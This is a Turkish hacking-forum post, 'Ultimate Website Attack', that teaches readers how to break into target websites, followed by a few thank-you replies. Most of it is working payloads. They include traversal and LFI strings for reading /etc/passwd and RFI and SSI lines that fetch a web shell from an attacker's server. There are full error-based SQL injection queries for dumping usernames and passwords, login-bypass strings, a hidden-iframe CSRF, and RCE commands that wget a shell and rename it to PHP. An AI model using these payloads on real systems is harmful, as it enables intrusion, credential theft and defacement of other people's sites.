Konuyu Oyla:
  • Derecelendirme: 0/5 - 0 oy
  • 1
  • 2
  • 3
  • 4
  • 5
Ultimate Website Attack
#1
Merhaba arkadaşlar, bugun ki konumda sizlere hedef site de kullanılacak açıkların hepsini anlatmaya çalıştım. Hepsi temel açıklardır.

Başlıklar:

1)Directory Traversal Attack
a)Tanım
b)Kullanım
c)Bypass Yöntemleri
#Ekstra

2)Local File Inclusion(LFI)
a)Tanım
b)Kullanım
c)Bypass Yöntemleri

3)Remote File Inclusion(RFI)
a)Tanım
b)Kullanım

4)Server Side Includes Injection (SSI)
a)Tanım
b)Kullanım

5)SQL Injection
a)Tanım
b)Union Based SQL Injection
c)Blind Method SQL Injection
d)String SQL Injection
e)Error Based SQL Injection
f)Double Query SQL Injection
g)SQL Injection Login Bypass
h)xPath Injection

6)Cross Site Scripting (XSS)
a)Tanım
b)Kullanım
c)Bypass Yöntemleri

7)Cross Site Request Forgery (CSRF)
a)Tanım
b)Ornek Bir Saldırı

8)Remote Code Execution (RCE)
a)Tanım
b)Kullanım

Anlatım:

1) Directory Traversal Attack
a)Tanım: Directory Traversal terimi, Türkçe’de "dizin geçişi" olarak karşılık bulmaktadır. Yazılımcının yaptığı ufak hatalardan meydana gelebilen sistem zaafiyetidir. Directory Traversal zaafiyeti ile sistem dosyalarına izinsiz erişim sağlanabilir.

b)Kullanım: Evet arkadaşlar, şimdi hedef sitemizde geziniyoruz veya spider ile hedef sitemizin linklerini çekiyoruz. Linkleri incelediğimizde karşımıza "http://site.com/get-files?file=index.html" şeklinde bir link çıkıyor. Gördüğünüz gibi "index.html" çağrılmış sayfamıza. Şimdi zafiyetin olup olmadığını görmek için "http://site.com/get-files?file=../../../../dizin/dosya" şeklinde bir komut yazarak öğrenmeye çalışalım. Örneğin "/etc/passwd" dosyasını okumaya çalışalım; "http://site.com/get-files?file=../../../../etc/passwd" şeklinde komut yazdığımızda eğer zafiyet varsa ekrana "/etc/passwd" dosyası yansıyacaktır.

#Ekstra: "http://site.com/get-files?file=http://shelli_site.com/dizin/shell.txt" şeklinde RFI mantığı ile shell çağırılabilir..

c)Bypass Yöntemleri:
URL Encode:
%2e%2e%2fetc%2Fpasswd => (Decoded) ../etc/passwd
Double URL Encode:
..%2Fetc%2Fpasswd => (Decoded) ../etc/passwd
URL’de "../etc/passwd" yerine yukarıdaki encode edilmiş halini yazarak kullanabilirsiniz.

2) Local File Inclusion(LFI)
a)Tanım:LFI açığı olarak bilinen local file inclusion yerelden dosya dahil etme anlamına gelmektedir. LFI açığı remote file inclusion (RFI) açığı kadar işlevsel olmayan ama sunucuya girmek için RFI’dan daha etkili olan bir açık türüdür. RFI açığında uzaktan dosya ekleme ile kullanılan bir açıktır. LFI’da ise aynı sunucudan dosya eklenir.
b)Kullanım: Kullanımı Directory Traversal Attack ile aynıdır. Sadece Directory Traversal Attack "Windows" sistemlerde bulunur. Linux sistem’de bulunan ismi LFI’dir =)
c)Bypass: Directory Traversal Attack’taki gibi URL encode ile bypass edilebilir.
Ekstra Bypass: "../../../../etc/passwd%00" şeklinde "%00" ifadesi ile de küçük bir bypass uygulanabilir.

3) Remote File Inclusion(RFI)
a)Tanım: Remote file inclusion açıkları ile sistemlere c99 veya r57 gibi benzer tarzı shell’ler upload edilerek sistemdeki diğer siteler kolayca deface edilebilmektedir.Bu tür acıkların meydana gelmesi coderlerin hatalarından meydana gelmektedir.Rfi uzaktan dosya okutmak anlamına gelmektedir.
b)Kullanım: Evet arkadaşlar, bu yöntemi’de "LFI,Directory Traversal Attack"taki gibi bir mantıkla kullanacağız.Sadece sunucudaki bir dosyayı okumak yerine kendi sunucumuzdaki bir dosyayı çağıracağız; "http://site.com/vuln_page.php?file=http://saldirganin_sitesi.com/shell.txt" File Inclusion saldırılarında mantık hep aynıdır aslında arkadaşlar.

4) Server Side Include(SSI):

a)Tanımbig_smileSI’yı kullanarak istediğimiz herhangi bir sayfaya SMF kullanıcı girişi, Forum’dan Son konular/mesajlar, Forum’da en çok mesaj atan kişiler, Forum’;da Kimler Online ve daha birçok değişik bilgiyi görüntüleyebiliriz.

b)Kullanım: SSI Injection genellikle ".shtml" sayfalarda ve kullanıcının girdi yapabilceği yerlerde kullanılır. Ekstra olarak hedef siteye sızmak için bazı bypass yöntemleri arasında bulunur. Örneğin bir ".shtml" sayfada gezerken bir arama yeri bulduk. Bu arama yerine bir kaç kod yazarak(kodları aşşağıda vereceğim) belirli bilgileri alabiliriz, komut çalıştırabiliriz.
SSI İnjection Kodları:
(GEREKSİZ komutları geçeceğim.)
<!--#exec cmd="KOMUT" --> (Komut yazan yere herhangi bir linux komutu yazarak o komutun işlevini çalıştırabilirsiniz.)
<!--#include virtual="config.php" --> (Config.php dosyasını include eder. Sayfayı açtığınızda bomboş gözükür, CTRL+U ile yani sayfa kaynanığı görüntüleyerek config.php’ye ulaşabilirsiniz.)
<!--#exec cmd="wget http://site.com/clown/shell.txt"--> , <!--#exec cmd="mv shell.txt shell.php"--> (komutları ile shellimizi çekip, uzantısını ".php" yapabiliriz. Komutlar ayrı ayrı girilcektir unutmayalım..)

5) SQL Injection:
a)Tanım: SQL (Structured Query Language) veritabanından bilgi çekme silme vb. gibi işlemler yapabilen bir dildir. Bulunduğumuz zamanda çoğu web sitelerinin alt yapılarında bu veritabanı vardır. SQL Injection ise bu veritabanlarına, içindeki verilere bir takım kod göndererek ele geçirme olayıdır.

b)Union Based SQL Injection: Bildiğimiz manuel SQL Injection işlemidir.

Yapılış:
1- http://www.****.gr/english/product.php?id=22+order+by+1-- (order+by+1 , 2 ,3 , 4-- şeklinde yapılarak kolon sayısı bulunur.)

2- http://www.****.gr/english/product.php?i...,4,5,6,7,8-- (şeklinde Injected Column bulunur. Yani kod yazarken bize verilerin görüntüleneceği kolon diyebiliriz.)

3- (Injected Kolonu bulduktan sonra ekrana yansıyan herhangi bir sayıyı seçerek) http://www.****.gr/english/product.php?i...database()-- (şekline ekrana yansıyan sayının yerine "group_concat(table_name)" yazıp, sonuna "+from+information_schema.tables+where+table_schema=database()--" yazarak tablo bilgileri öğrenilir.)

4- (tabloları çektikten sonra işimize yarar tabloyu seçeriz. Örneğin tablomuz "admin" olsun. Şimdi bunu hexleyin arkadaşlar hexledikten sonra kodumuzdaki mavi renkte yazan hex yerine yapıştırın. 0x yazan yeri silmeyiniz..) http://www.****.gr/english/product.php?i...name=0xhex-- (gördüğünüz gibi tablonun içindeki kolonlar ekrana yansıdı. Örneğin: "id,username,password" yansıdı.)

5- (İşe yarar kolonları bir yere kayıt ediyoruz. Şimdi bize "username,password" kolonunun içindeki veriler lazım. Hemen çekelim;) http://www.****.gr/english/product.php?i...from+tablo-- (yazarak içindeki verileri çektik.)

c)Blind Method SQL Injection:
Yapılış:
Video İçin TIKLA

d)String SQL Injection: "order+by+1--" şeklinde yapmak yerine "order+by+1--%2B-" şeklinde yapılır. (%2b "artı" simgesine denk gelmektedir. forum’da bosluk olarak algılanıyor =) )

e)Error Based SQL Injection:
Tanım: Bir sitede SQL injection yaparken(Union Based) kodları yazdığımızda Mysql Hatası vermeye devam eder. İşte bu zaman Error Based SQL Injection kullanılır.
Yapılış:
Mysql Versiyonu’nu almak için; http://www.[site].com/page.php?id=1 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1-- => Ekrana çıkan Mysql Hatasının içinde verecektir her seferinde.

Database İsimlerini çekmek için; http://www.[site].com/page.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) => Evet arkadaşlar sizelere kırmızı yazdığım yerdeki "0,1" olan yerdeki "0" ı "1,2,3,.." şeklinde arttırdığınızda diğer database isimleri gelicek.Yani (0,1 - 1,1 - 2,1...) Error Based olduğu için teker teker çekilir..

Tablo İsimlerini çekmek için; http://www.[site].com/page.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) => Kırmızı yazılan yerde yukardaki işlemin aynısı uygulanacaktır.(0,1 - 1,1 - 2,1)

Tablonun İçindeki kolonları çekmek için; http://www.[site].com/page.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xTABLE_NAME limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) => Kırmızı yazılan yerde yukardaki işlemin aynısı uygulanacaktır.(0,1 - 1,1 - 2,1) Yeşil renkli yazılan yere ise, database’in HEX’lenmiş hali yazılacaktır.(0x’i Silmeyiniz!) Diyelimki karşımıza USERNAME,PASSWORD kolonları yansıdı.

Kolonların İçindeki veriyi çekmek için; http://www.[site].com/page.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(USERNAME,0x7e,PASSWORD) as char),0x7e)) from DATABASE.TABLE_NAME limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) => Kırmızı yazılan yerde yukardaki işlemin aynısı uygulanacaktır.(0,1 - 1,1 - 2,1) Yeşil yazılan yerlerde HEX’lemenize gerek yoktur.

f)Double Query SQL Injection:
Yapılış:
(Kırmızı yazılan yerlerde 0,1 - 1,1 - 2,1 olayı uygulanacaktır.)
Mysql Versiyonu almak için; http://www.[site].com/page.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 => Ekrana çıkan Mysql Hatasının içinde verecektir her seferinde.

Database İsimlerini çekmek için; http://www.[site].com/page.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

Tablo İsimlerini çekmek için; http://www.[site].com/page.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xTABLE_NAME LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 => Şimdi tabloları çektik ve işimize yarayan tablo "ADMIN" diyelim.

Tablonun İçindeki kolonları çekmek için; http://www.[site].com/page.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0xTABLE AND table_name=0xADMIN LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 => Yeşil yazan yerler HEX’lenecektir. Diyelimki işimize yarar kolon olarak USERNAME,PASSWORD çıktı.

Kolonların İçindeki veriyi çekmek için; http://www.[site].com/page.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(TABLE.USERNAME as char),0x27,0x7e) FROM `database_name`.table_name LIMIT N,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 => Yeşil yazan yerleri HEX’lemeye gerek yoktur. USERNAME’in içindeki veriyi çektikten sonra PASSWORD yazarak şifreyi çekiceksiniz arkadaşlar..

g)SQL Injection Login Bypass:
Yapılış:
Öncelikle "admin" panelini bulmamız gerekmektedir. Admin Panelini bulduktan sonra "Kullanıcı Adı ve Şifre" yazan kısıma şu kodları giriyoruz;

’ or 1=1 or ’a’=’a
‘ or ’1′=’1;
’ or ’’=’
’ or 1--
’) or true--
’) or (’’)=(’
’) or 1--
’) or (’x’)=(’
" or true--
" or ""="
" or 1--
" or "x"="
") or true--
") or ("")=("
") or 1--
") or ("x")=("
’)) or true--
’)) or ((’’))=((’
’)) or 1--
’)) or ((’x’))=((’
...

(Sadece 1 tanesini seçip kullanıcı adı ve şifre kısmına gireceğiz. Hepsi bypass içeren kodlardır.)

f)xPath Injection:
Tanım: XML Sayfasına uygulanan SQL Injection türüdür.
Yapılış: XML bir sayfada görülen kullanıcı girişi inputlarına, yukardaki "SQL Injection Login Bypass" için kullanılan kodlar kullanılır.

7)Cross Site Request Forgery (CSRF)
a)Tanım:
Saldırganın site üzerinde izinsiz olarak veri yollaması değiştirmesi.Yani kullanıcının site üzerinde yapabileceği olayları dışarıdan izinsiz olarak yapmak.Kullanıcı adına mesaj yollamak,çıkış yapmak,yazı yazmak,şayet bir banka sistemiyse para transferi gibi.Crsf’nin xss’ten farkı şudur.Yapılan şeyler direk kullanıcı yetkisiyle yapılır xss’deki gibi cookie çalmaya gerek yoktur.
b)Kullanım: Bu açığı tamamen kullanmak için sistemin script’ini inlecemek size daha fazla başarı sağlar. Fakat siteyi yüzeysel olarak gezerkende yakalabiliriz.

Örnek Anlatım:
Şimdi bir siteye üye oluyoruz diyelim. Üye ol butonuna tıkladıktan sonra URL’yi kontrol ediyoruz;

http://xxx.net/signup/?email=cw_clown@zz...cLowN_Here bakın orda üye olurken doldurduğumuz verileri URL yoluyla aktarıyor sunucuya. Diyelim ki siz şimdi IP limitinizi doldurdunuz.Yani Aynı IP den 1 tane kayıt yapılıyor. Şimdi siz Sosyal Mühendislik ve CSRF yardımıyla açmanız gereken üyeliği arkadaşınızdan habersiz açtırcaksınız. Nasıl mı? İşte Şöyle; Şimdi yukardaki URL’yi kopyalıyoruz. Diyelim ki hedef kişi bir oyun sevdalısı. Siz oyunlarla ile ilgili bir site hazırlayıp veya oyunlarla ilgili bir siteye shell atarak her sayfaya include edilen bir dosyayı şu komutları yazacağız;

<iframe height="0" width="0" src= "http://xxx">email=yeni_eposta@zzz.com&first_name=CYBERIZM&last_name=cLowN&country=BH&password=CYBERIZM&password_confirm=CYBERIZM"> => bu kod ile o URL’yi sayfamıza dahil ettik. Ve sayfaya giren bir kullanıcının haberi olmadan o link’e girildi. Mantığı budur. Şimdi sorcaksınız her sayfaya include edilen dosya nere olur diye? Bu dosyalar genellikle "header.php , footer.php , config.php vb." dosyalardır.(Not: Açtırcağınız hesaba göre kırmızı yazılan yerlerı değiştiriceksiniz. Ben örnek olarak yazdım..)

8)Remote Code Execution (RCE)
a)Tanım: Gönderilen verinin alınmadan önce filtrelenmemsinden dolayı kaynaklanan bir açıktır. Eğer ki gönderilen veri veya alınan veri filtrelenmezse ve script bu veriyi eval() komutu ile dönderirise
gönderilen veri bir php betiği olarak çalışacaktır.
b)Kullanım: Evet şimdi diyelimki hedef sitemiz; "http://hedef.com/".. Sitede gezerken "http://hedef.com/index.php?page=contact.php" şeklinde bir link bulduk. "contact.php" sayfası "index.php" ye çağrılmış. Burda kodlamadan kaynaklanan bir hata var mı yok mu diye linux komutları uygulayacağız;

http://hedef.com/index.php?page=ls => "ls" komutu bulunduğumuz dizindeki dosyaları bize görüntüler. Eğer ekranda dosyaların isimleri belirirse RCE açığı vardır. Peki bu açıkla siteyi nasıl hackleriz?

Örnek Olarak;

http://hedef.com/index.php?page=wget http://shell.com/shell.txt , http://hedef.com/index.php?page=mv shell.txt shell.php

=> Şimdi naptık? İlk önce "wget" komutumuz ile shellimizin kodlarını uzaktan sitemize çektik. Fakat uzantısı .txt olduğu için çalışmayacaktı. Bizde mv komutu ile uzantısını .php yaptık. Komutları uzatmak istemeyen arkadaşlar;

http://hedef.com/index.php?page=wget http://shell.com/shell.txt;mv shell.txt shell.php komutu ilede direk shelli çekip "php"ye çevirebilir...


Konum burda bitmiştir. Selametle...
Beğenenler:
#2
Teşekkürler.
Beğenenler:
#3
Eline Sağlık Çok güzel ++
Beğenenler:
#4
eline saglık görsellıkge önem verirsen daha güzel olur ve kaliteli olur .
Beğenenler:
#5
Ellerine sağlık
En büyük acizlik,kendinden başkası gibi görünmektir.
Beğenenler:

Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  Website Hacking Tools RegWTR 36 1,815 05-11-2016, Saat: 16:21
Son Yorum: cybertech
  Güçlü bir DDOS Attack Programı +Güncel Bypass12 16 29,721 05-12-2015, Saat: 04:17
Son Yorum: CommAndApply
  DDos Attack Arşiv By KingSkrupellos KingSkrupellos 5 1,397 11-09-2014, Saat: 21:27
Son Yorum: SİPAHİ
  ClickJacking Attack ebu duhan 4 928 19-04-2014, Saat: 07:36
Son Yorum: M4M00D
  Wordpress Joomla Evren Attack ADaNaLı_FaCia 0 625 08-01-2014, Saat: 07:57
Son Yorum: ADaNaLı_FaCia
Anahtar Kelimeler

Ultimate Website Attack indir, Ultimate Website Attack Videosu, Ultimate Website Attack Online izle, Ultimate Website Attack Bedava indir, Ultimate Website Attack Yükle, Ultimate Website Attack Hakkında, Ultimate Website Attack Nedir, Ultimate Website Attack Free indir, Ultimate Website Attack Oyunu, Ultimate Website Attack Download


1 Ziyaretçi